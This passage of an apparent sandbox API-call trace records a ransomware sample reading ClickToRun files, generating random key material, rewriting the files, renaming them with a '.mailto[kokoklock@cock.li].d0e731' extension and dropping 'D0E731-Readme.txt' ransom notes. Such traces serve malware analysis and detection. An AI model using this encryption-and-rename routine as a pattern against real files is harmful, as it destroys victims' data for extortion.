lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x27d3fb28, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x27d3fb28*=0x4096, lpOverlapped=0x0) returned 1 [0082.674] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.674] WriteFile (in: hFile=0x668, lpBuffer=0x342cdd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27d3fb84, lpOverlapped=0x0 | out: lpBuffer=0x342cdd0*, lpNumberOfBytesWritten=0x27d3fb84*=0x20, lpOverlapped=0x0) returned 1 [0082.674] WriteFile (in: hFile=0x668, lpBuffer=0x342d168*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27d3fb84, lpOverlapped=0x0 | out: lpBuffer=0x342d168*, lpNumberOfBytesWritten=0x27d3fb84*=0x20, lpOverlapped=0x0) returned 1 [0082.674] WriteFile (in: hFile=0x668, lpBuffer=0x342ce48*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27d3fb84, lpOverlapped=0x0 | out: lpBuffer=0x342ce48*, lpNumberOfBytesWritten=0x27d3fb84*=0x20, lpOverlapped=0x0) returned 1 [0082.674] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.674] WriteFile (in: hFile=0x668, lpBuffer=0x342ce20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x27d3fb8c, lpOverlapped=0x0 | out: lpBuffer=0x342ce20*, lpNumberOfBytesWritten=0x27d3fb8c*=0x8, lpOverlapped=0x0) returned 1 [0082.674] WriteFile (in: hFile=0x668, lpBuffer=0x27d3fba4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27d3fb8c, lpOverlapped=0x0 | out: lpBuffer=0x27d3fba4*, lpNumberOfBytesWritten=0x27d3fb8c*=0x4, lpOverlapped=0x0) returned 1 [0082.674] WriteFile (in: hFile=0x668, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27d3fb8c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x27d3fb8c*=0x4, lpOverlapped=0x0) returned 1 [0082.675] WriteFile (in: hFile=0x668, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x27d3fb8c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x27d3fb8c*=0x6c, lpOverlapped=0x0) returned 1 [0082.675] WriteFile (in: hFile=0x668, lpBuffer=0x342cf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27d3fb8c, lpOverlapped=0x0 | out: lpBuffer=0x342cf10*, lpNumberOfBytesWritten=0x27d3fb8c*=0x20, lpOverlapped=0x0) returned 1 [0082.675] WriteFile (in: hFile=0x668, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27d3fb8c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x27d3fb8c*=0x4, lpOverlapped=0x0) returned 1 [0082.675] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf10) returned 1 [0082.675] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0082.675] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce20) returned 1 [0082.675] CloseHandle (hObject=0x668) returned 1 [0082.675] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x120) returned 0x33fcab8 [0082.675] wcscpy (in: _Dest=0x33fcab8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat" [0082.675] wcscat (in: _Dest=0x33fcab8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731" [0082.675] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\stream.x64.en-us.man.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.676] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0082.676] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcab8) returned 1 [0082.676] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat", dwFileAttributes=0x20) returned 0 [0082.676] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x34938d8 [0082.676] wcscpy (in: _Dest=0x34938d8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\" [0082.676] wcscat (in: _Dest=0x34938d8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\D0E731-Readme.txt" [0082.676] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\d0e731-readme.txt")) returned 0x20 [0082.676] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34938d8) returned 1 [0082.677] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34335a8) returned 1 [0082.677] RtlExitUserThread (Status=0x1) Thread: id = 1121 os_tid = 0x1360 [0082.678] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml")) returned 0x20 [0082.679] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml", dwFileAttributes=0x20) returned 1 [0082.679] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x668 [0082.679] GetFileSizeEx (in: hFile=0x668, lpFileSize=0x27dbfb64 | out: lpFileSize=0x27dbfb64*=21009) returned 1 [0082.679] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x520d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.679] ReadFile (in: hFile=0x668, lpBuffer=0x27dbfb38, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27dbfb34, lpOverlapped=0x0 | out: lpBuffer=0x27dbfb38*, lpNumberOfBytesRead=0x27dbfb34*=0x4, lpOverlapped=0x0) returned 1 [0082.680] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cfb0 [0082.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf10 [0082.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d0a0 [0082.681] NtQuerySystemTime (in: CurrentTime=0x27dbfb10 | out: CurrentTime=0x27dbfb10*=132121176405703808) returned 0x0 [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0xe14bc4bd [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0xff1f1b74 [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0xc76d2094 [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0x5d5c8b65 [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0x5e9bde8f [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0x52eaf10 [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0xad5c9607 [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0x578b839e [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0x7f4f001d [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0xd9b43489 [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0x5f3bd507 [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0xde86b1a1 [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0xc2781187 [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0xb29081d6 [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0xebda4a1f [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0x60ea4b78 [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0x761f91ce [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0xe65062a3 [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0xf201632a [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0x3d3706b3 [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0x25d4dcad [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0xa17cfbc1 [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0xe6ec0de8 [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0x25492e98 [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0xfabe52b7 [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0x7d43da [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0x58da2ffa [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0x6db47e4e [0082.681] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0x19005e9c [0082.682] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0xd56589ac [0082.682] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0x4454e3eb [0082.682] RtlRandom (in: Seed=0x27dbfb1c | out: Seed=0x27dbfb1c) returned 0xc418fe1f [0082.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cfb0) returned 1 [0082.692] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.692] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.692] ReadFile (in: hFile=0x668, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x27dbfae8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x27dbfae8*=0x4096, lpOverlapped=0x0) returned 1 [0082.693] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.693] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.693] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0082.693] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cdf8 [0082.693] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cdf8) returned 1 [0082.694] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.694] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cdf8 [0082.694] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d0c8 [0082.694] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d0c8) returned 1 [0082.694] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0082.694] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.694] WriteFile (in: hFile=0x668, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x27dbfae8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x27dbfae8*=0x4096, lpOverlapped=0x0) returned 1 [0082.694] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.694] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x5211, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.694] WriteFile (in: hFile=0x668, lpBuffer=0x342cdf8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27dbfb20, lpOverlapped=0x0 | out: lpBuffer=0x342cdf8*, lpNumberOfBytesWritten=0x27dbfb20*=0x20, lpOverlapped=0x0) returned 1 [0082.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cdf8) returned 1 [0082.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.695] WriteFile (in: hFile=0x668, lpBuffer=0x342ce20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x27dbfb34, lpOverlapped=0x0 | out: lpBuffer=0x342ce20*, lpNumberOfBytesWritten=0x27dbfb34*=0x8, lpOverlapped=0x0) returned 1 [0082.695] WriteFile (in: hFile=0x668, lpBuffer=0x27dbfb4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27dbfb34, lpOverlapped=0x0 | out: lpBuffer=0x27dbfb4c*, lpNumberOfBytesWritten=0x27dbfb34*=0x4, lpOverlapped=0x0) returned 1 [0082.695] WriteFile (in: hFile=0x668, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27dbfb34, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x27dbfb34*=0x4, lpOverlapped=0x0) returned 1 [0082.695] WriteFile (in: hFile=0x668, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x27dbfb34, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x27dbfb34*=0x6c, lpOverlapped=0x0) returned 1 [0082.695] WriteFile (in: hFile=0x668, lpBuffer=0x342cf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27dbfb34, lpOverlapped=0x0 | out: lpBuffer=0x342cf10*, lpNumberOfBytesWritten=0x27dbfb34*=0x20, lpOverlapped=0x0) returned 1 [0082.695] WriteFile (in: hFile=0x668, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27dbfb34, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x27dbfb34*=0x4, lpOverlapped=0x0) returned 1 [0082.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf10) returned 1 [0082.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0082.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce20) returned 1 [0082.695] CloseHandle (hObject=0x668) returned 1 [0082.696] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x128) returned 0x33fcab8 [0082.696] wcscpy (in: _Dest=0x33fcab8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" [0082.696] wcscat (in: _Dest=0x33fcab8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0082.696] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.697] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0082.697] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcab8) returned 1 [0082.697] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml", dwFileAttributes=0x20) returned 0 [0082.697] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd4) returned 0x3493e18 [0082.697] wcscpy (in: _Dest=0x3493e18, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\" [0082.697] wcscat (in: _Dest=0x3493e18, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\D0E731-Readme.txt" [0082.697] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\d0e731-readme.txt")) returned 0xffffffff [0082.697] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x668 [0082.698] WriteFile (in: hFile=0x668, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x27dbfb30, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x27dbfb30*=0x481, lpOverlapped=0x0) returned 1 [0082.699] CloseHandle (hObject=0x668) returned 1 [0082.699] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493e18) returned 1 [0082.699] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0082.699] RtlExitUserThread (Status=0x1) Thread: id = 1122 os_tid = 0x1364 [0082.693] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\s640.hash")) returned 0x20 [0082.702] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash", dwFileAttributes=0x20) returned 1 [0082.702] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\s640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x668 [0082.702] GetFileSizeEx (in: hFile=0x668, lpFileSize=0x27e3fa9c | out: lpFileSize=0x27e3fa9c*=102) returned 1 [0082.702] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x62, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.702] ReadFile (in: hFile=0x668, lpBuffer=0x27e3fa70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27e3fa6c, lpOverlapped=0x0 | out: lpBuffer=0x27e3fa70*, lpNumberOfBytesRead=0x27e3fa6c*=0x4, lpOverlapped=0x0) returned 1 [0082.703] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.703] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cfb0 [0082.703] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf10 [0082.703] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d0c8 [0082.703] NtQuerySystemTime (in: CurrentTime=0x27e3fa48 | out: CurrentTime=0x27e3fa48*=132121176406016439) returned 0x0 [0082.703] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0x62c9f0f [0082.703] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0xadb4a9a7 [0082.703] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0xc99152aa [0082.703] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0x20b3b215 [0082.703] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0xb8d65c83 [0082.703] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0x8f88e2de [0082.703] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0x34fcd09f [0082.703] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0xb6f0bdaa [0082.703] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0x50726567 [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0x26a7bd26 [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0xca4531a2 [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0xc9358d05 [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0xe7b0f255 [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0x39f9932f [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0x6c691ce [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0x324f171b [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0x924df9b1 [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0x23711932 [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0x592b389b [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0xd913400 [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0x3e28e65a [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0xe2e38471 [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0x832ec023 [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: 